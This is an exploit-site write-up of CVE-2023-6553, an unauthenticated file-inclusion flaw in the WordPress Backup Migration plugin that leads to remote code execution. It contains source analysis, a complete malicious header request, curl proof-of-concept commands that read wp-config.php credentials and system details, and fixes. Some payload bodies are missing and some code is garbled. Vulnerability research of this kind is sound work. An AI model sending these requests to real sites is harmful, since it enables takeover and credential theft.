Sploitus

Exploit for Code Injection in Backupbliss Backup Migration

githubexploit Β· 2026-08-05

Exploit Code

README373 lines
## https://sploitus.com/exploit?id=7E7F23A4-6471-5072-BA10-582D712F591C
# CVE-2023-6553

## PHP File Inclusion Leading to RCE β€” Backup Migration Plugin

**Plugin:** Backup Migration (backup-backup) ≀ 1.3.7

**CVSS:** 9.8 (Critical)

**CWE:** CWE-98 β€” Improper Control of Filename for Include/Require Statement

**Authentication Requirement:** None

**Impact:** Remote Code Execution

---

## 1. What is this Vulnerability?

Backup Migration is a fairly popular WordPress plugin (~90,000+ active installations) that helps users create backup copies. During the backup process, the plugin has a file named `backup-heart.php` running in the background - it receives configuration information via HTTP headers to know which directory needs to be backed up, where the config file is located, etc.

The issue lies in the fact that this file **completely trusts** the HTTP headers sent by the client, takes the header value directly into the file path, and then uses `require_once()` to load the file from that path. An attacker only needs to send the `Content-Dir` header pointing to a directory containing malicious PHP code β†’ the server automatically includes and executes it.

It is worth noting that the `backup-heart.php` file **does not require authentication** β€” it only checks if the request method is POST, without verifying any nonce or user privileges. Anyone on the internet can send a request to it.

β‡’ This is a **zero-click** vulnerability.

| Attribute | Value |
| --- | --- |
| CVE ID | CVE-2023-6553 |
| CVSS Score | 9.8 (Critical) |
| Plugin | backup-backup (Backup Migration) ≀ 1.3.7 |
| Authentication | Not required |
| User Interaction | None (zero-click) |
| Fixed | Version 1.3.8 |

## 2. Background Knowledge

### File Inclusion in PHP

PHP has functions like `include()`, `require()`, `require_once()` used to include other PHP files into the running program. When the file path passed into these functions comes from user input without validation, an attacker can force the server to include any file they want:

- **LFI (Local File Inclusion):** loads an existing file on the server β€” for example, a log file that has been "poisoned" with PHP code.
- **RFI (Remote File Inclusion):** loads a file from an external server β€” requires `allow_url_include=On` (usually disabled by default).

This CVE falls under LFI β€” the attacker controls the path passed to `require_once()` pointing to a PHP file that the attacker has managed to write onto the server.

### Why are HTTP headers dangerous?

Many developers think HTTP headers are "internal" metadata known only to the server and client. In reality, **attackers control 100% of the header content** β€” they can set any header name and value. Trusting headers is just like trusting form input β€” it must be validated.

### `define()` and PHP Constants

`define('NAME', $value)` creates a constant used throughout the application. Once `define`d, the value cannot be changed. If `$value` comes from an attacker, every place using that constant is affected.

## 3. Source Code Analysis β€” Where Does the Vulnerability Originate?

### **Step 1: Finding the Sink**

I started by using grep to search for all `require` and `include` statements across the plugin:

```bash
grep -rn "require\|include" includes/
```

![image.png](images/image.png)

The search results returned many require/include calls. Looking through them, most were `include_once` calls in `banner/misc.php` and `banner/views/index.php` β€” these belong to the admin UI rendering code with hardcoded paths, making them unexploitable.

However, 2 lines in `backup-heart.php` caught my attention:

```php
includes/backup-heart.php:64:   define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
includes/backup-heart.php:118:  require_once BMI_INCLUDES . '/bypasser.php';
```

Line 118 uses `require_once` with the constant `BMI_INCLUDES` β€” if this constant were hardcoded, it would be secure. But looking up at line 64, I saw `BMI_INCLUDES` is constructed from another constant, `BMI_ROOT_DIR`. So we need to trace further: where is `BMI_ROOT_DIR` assigned its value?

I used grep again to trace it:

```bash
grep -n "BMI_ROOT_DIR" includes/backup-heart.php
```

Results:

![image.png](images/image%201.png)

```php
Line 62: define('BMI_ROOT_DIR', $fields['content-dir']);
Line 64: define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
```

Line 62 shows `BMI_ROOT_DIR` takes its value from `$fields['content-dir']`. This is a variable, not a fixed value β€” we need to open the file and see what `$fields` contains.

### **Step 2: Inspecting Source Code β€” Where does $fields come from?**

I opened `backup-heart.php` in VS Code at line 62:

```php
// Line 62
define('BMI_ROOT_DIR', $fields['content-dir']);

// Line 64
define('BMI_INCLUDES', BMI_ROOT_DIR. 'includes');
```

![image.png](images/image%202.png)

It is clearly visible that `$fields['content-dir']` goes directly into `define()`. Now we need to determine where the `$fields` variable is assigned:

```php
// Lines 7-9: Only checks POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    exit;
}

// Lines 30-33: Reads ALL HTTP headers from the request
if (isFunctionEnabled('getallheaders')) {
    $fields= getallheaders();
}

// Lines 42-46: Lowercases header names
foreach ($fieldsas $key=> $value) {
    $buffer= $value;
    unset($fields[$key]);
    $fields[strtolower($key)] = $value;
}
```

![image.png](images/image%203.png)

![image.png](images/image%204.png)

At this point, the root cause becomes crystal clear: `$fields` holds **all HTTP headers** retrieved via `getallheaders()` β€” completely controlled by the client. There is no `wp_verify_nonce()`, no `current_user_can()`, no valid path check β€” it simply verifies the POST method and reads headers directly in.

### Step 3: Attack Flow Summary

```
Attacker sends POST request with header Content-Dir: /path/to/attacker/
    ↓
getallheaders() reads raw headers β†’ $fields['content-dir'] = "/path/to/attacker/"
    ↓
define('BMI_ROOT_DIR', "/path/to/attacker/")   ← no validation
    ↓
define('BMI_INCLUDES', "/path/to/attacker/includes")
    ↓
require_once "/path/to/attacker/includes/bypasser.php"   ← executes PHP
    ↓
Attacker code runs with www-data privileges β†’ RCE
```

**Root cause summary:** HTTP Header β†’ `define()` β†’ `require_once()`, with zero validation steps in between.

### **Step 4: Debugging with Xdebug**

I used Xdebug + VS Code to visually confirm the attack flow. I set 2 breakpoints at line 62 and line 118 in `backup-heart.php`, then sent the exploit request using curl.

**Breakpoint 1 β€” Line 62:**

The debugger paused right at `define('BMI_ROOT_DIR', $fields['content-dir'])`. Expanding the `$fields` variable in the Variables panel showed an array of 22 elements β€” containing all HTTP headers sent by the client. Specifically:

- `content-dir = "/tmp/bmi/"` β€” this is precisely the value sent via header, which gets directly assigned to the `BMI_ROOT_DIR` constant.
- `content-abs = "/var/www/html/"`, `content-configdir = "/tmp/bmi/"`, `content-backups = "/tmp/bmi/back..."` β€” all controlled by the attacker.

There are no validation or filtering steps applied to `content-dir` before passing it to `define()`.

![image.png](images/image%205.png)

**Breakpoint 2 β€” Line 118:**

Pressing F5, the debugger paused at `require_once BMI_INCLUDES . '/bypasser.php'`. Looking at the state:

- **Variables Panel**: `$fields` still retains `content-dir = "/tmp/bmi/"` β€” proving the value was not altered between lines 62 and 118.
- **Call Stack Panel**: Shows `{main} backup-heart.php 118:1` β€” code executed straight from the top of the file to this point, bypassing any middleware or authentication checks.
- Line 118 prepares to include the file at path `/tmp/bmi/includes/bypasser.php` β€” a file whose content is controlled by the attacker.

![image.png](images/image%206.png)

The debugging results perfectly confirm the flow analyzed in Step 3: HTTP header travels from `getallheaders()` β†’ `define()` β†’ `require_once()`, with no validation in between.

## 4. Attack Chain

### Step 1 β€” Placing PHP File on Server

Before triggering the include, a PHP file must already exist on the target server. Common techniques include:

| Method | Concept |
| --- | --- |
| Log poisoning | Send a request containing `` inside the User-Agent β†’ code gets written to access log β†’ include log file |
| PHP session | Write PHP code into a session file located at `/tmp/sess_xxx` |
| Upload chain | Leverage WordPress media/avatar upload feature to upload the file |
| Plugin error log | Plugin writes its own error log β€” triggering an error containing PHP code writes the code to the log file |

### Step 2 β€” Trigger Include via 1 POST Request

Send a request with `Content-Dir` pointing to the directory containing the payload. The server automatically `require`s and executes the attacker's file.

```http
POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: target.com
Content-Dir: /tmp/bmi/
Content-Abs: /var/www/html/
Content-Content: /var/www/html/wp-content/
Content-Configdir: /tmp/bmi/
Content-Backups: /tmp/bmi/backups/
Content-Safelimit: 1
Content-Browser: true
Content-Identy: 1
Content-Manifest: 1
Content-Rev: 1
Content-Name: test
Content-Start: 1
Content-Filessofar: 0
Content-Total: 1
Content-Bmitmp: /tmp/
Content-It: 1
Content-Dbit: 1
Content-Dblast: 1
Content-Url: http://target.com/
```

All `Content-*` headers must be supplied because `backup-heart.php` uses them in other `define()` calls β€” missing headers trigger PHP warnings and may abort execution before reaching `require_once`.

## 5. PoC β€” Lab Exploitation

### 5.1 Verify if Endpoint is Open

```bash
curl -s -o /dev/null -w "%{http_code}" -X POST \
  "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php"
```

Returns `200` β€” endpoint is open and does not prompt for authentication.

![image.png](images/image%207.png)

### 5.2 Create Payload File

Create the directory structure matching what `require_once` expects to find: `{Content-Dir}includes/bypasser.php`:

```bash
mkdir -p /tmp/bmi/includes

cat > /tmp/bmi/includes/bypasser.php 
EOF
```

![image.png](images/image%208.png)

### 5.3 Send Exploit β€” RCE

```bash
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" \
  -H "Content-Dir: /tmp/bmi/" \
  -H "Content-Abs: /var/www/html/" \
  -H "Content-Content: /var/www/html/wp-content/" \
  -H "Content-Configdir: /tmp/bmi/" \
  -H "Content-Backups: /tmp/bmi/backups/" \
  -H "Content-Safelimit: 1" \
  -H "Content-Browser: true" \
  -H "Content-Identy: 1" \
  -H "Content-Manifest: 1" \
  -H "Content-Rev: 1" \
  -H "Content-Name: test" \
  -H "Content-Start: 1" \
  -H "Content-Filessofar: 0" \
  -H "Content-Total: 1" \
  -H "Content-Bmitmp: /tmp/" \
  -H "Content-It: 1" \
  -H "Content-Dbit: 1" \
  -H "Content-Dblast: 1" \
  -H "Content-Url: http://localhost:8181/"
```

Output result:

![image.png](images/image%209.png)

**RCE Successful** β€” server executes the `id` command and returns the output.

### **5.4 Demonstrating Impact β€” Reading Database Credentials**

After confirming RCE, I changed the payload to demonstrate that an attacker can read sensitive information on the server. Change payload file contents to read `wp-config.php`:

```bash
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php 
EOF'
```

Resend the same curl exploit request β†’ output returns database connection details:

```bash
curl -s -X POST "http://localhost:8181/wp-content/plugins/backup-backup/includes/backup-heart.php" -H "Content-Dir: /tmp/bmi/" -H "Content-Abs: /var/www/html/" -H "Content-Content: /var/www/html/wp-content/" -H "Content-Configdir: /tmp/bmi/" -H "Content-Backups: /tmp/bmi/backups/" -H "Content-Safelimit: 1" -H "Content-Browser: true" -H "Content-Identy: 1" -H "Content-Manifest: 1" -H "Content-Rev: 1" -H "Content-Name: test" -H "Content-Start: 1" -H "Content-Filessofar: 0" -H "Content-Total: 1" -H "Content-Bmitmp: /tmp/" -H "Content-It: 1" -H "Content-Dbit: 1" -H "Content-Dblast: 1" -H "Content-Url: http://localhost:8181/"
```

Attacker can read any file that `www-data` has permissions to access β€” `wp-config.php`, `/etc/passwd`, source code of other plugins β€” expanding the attack surface.

![image.png](images/image%2010.png)

### **5.5 Gathering System Information**

Further modify payload to demonstrate that attacker can gather server system information β€” aiding privilege escalation or lateral movement:

```bash
docker exec wp-bricks-rce bash -c 'cat > /tmp/bmi/includes/bypasser.php 
EOF'
```

Send curl exploit β†’ output:

```
RCESTART
Linux 544a7c6002c6 6.18.33.1-microsoft-standard-WSL2 x86_64 GNU/Linux
172.18.0.3

RCEEND
```

![image.png](images/image%2011.png)

From this output, attacker discovers:

- **Kernel version** β€” used to find kernel exploits for root privilege escalation
- **Internal IP** `172.18.0.3` β€” confirms server is inside a Docker network, enabling pivoting to other containers (database, cache, etc.)

## 6. Impact Severity

| CVSS Metric | Value | Reason |
| --- | --- | --- |
| Attack Vector | Network | Via HTTP |
| Attack Complexity | Low | 1 POST request, no timing or special conditions required |
| Privileges Required | None | Endpoint requires no authentication |
| User Interaction | None | Attacker-driven, victim requires no interaction |
| Confidentiality | High | Can read any file: wp-config.php, /etc/passwd, source code |
| Integrity | High | Arbitrary file writing, webshell installation, database modification |
| Availability | High | File deletion, process termination, full server compromise |

### Real-World Impact

- **90,000+ sites** use this plugin.
- Attacker probes for the plugin via 1 POST request to the endpoint β€” 200 means present, 404 means absent.
- **Deactivated plugin is still exploitable** because `backup-heart.php` resides on disk and can be directly accessed via URL.
- Post-RCE, attacker can: dump database, install backdoors, pivot to other servers within the same network.

## 7. Mitigation & Remediation

### What Developers Should Do

Do not use HTTP headers to determine file paths. Use relative paths derived from `__DIR__`:

```php
// Vulnerable: uses whatever header value the attacker sends
define('BMI_ROOT_DIR', $fields['content-dir']);

// Fixed: uses fixed path, attacker cannot modify
define('BMI_ROOT_DIR', dirname(__FILE__) . '/../');
```

Add authorization check β€” only WordPress admin should be allowed to invoke this endpoint:

```php
if (!wp_verify_nonce($fields['content-nonce'], 'bmi_backup_action')) {
    die('Unauthorized');
}
```

### What WordPress Admins Should Do

1. Update to version β‰₯ 1.3.8 immediately.
2. If not in use, **delete the plugin completely** β€” deactivating is insufficient because files remain accessible.
3. Inspect access logs for suspicious requests targeting `backup-heart.php`.
4. Implement WAF rules blocking direct POST requests to `/wp-content/plugins/*/includes/*.php`.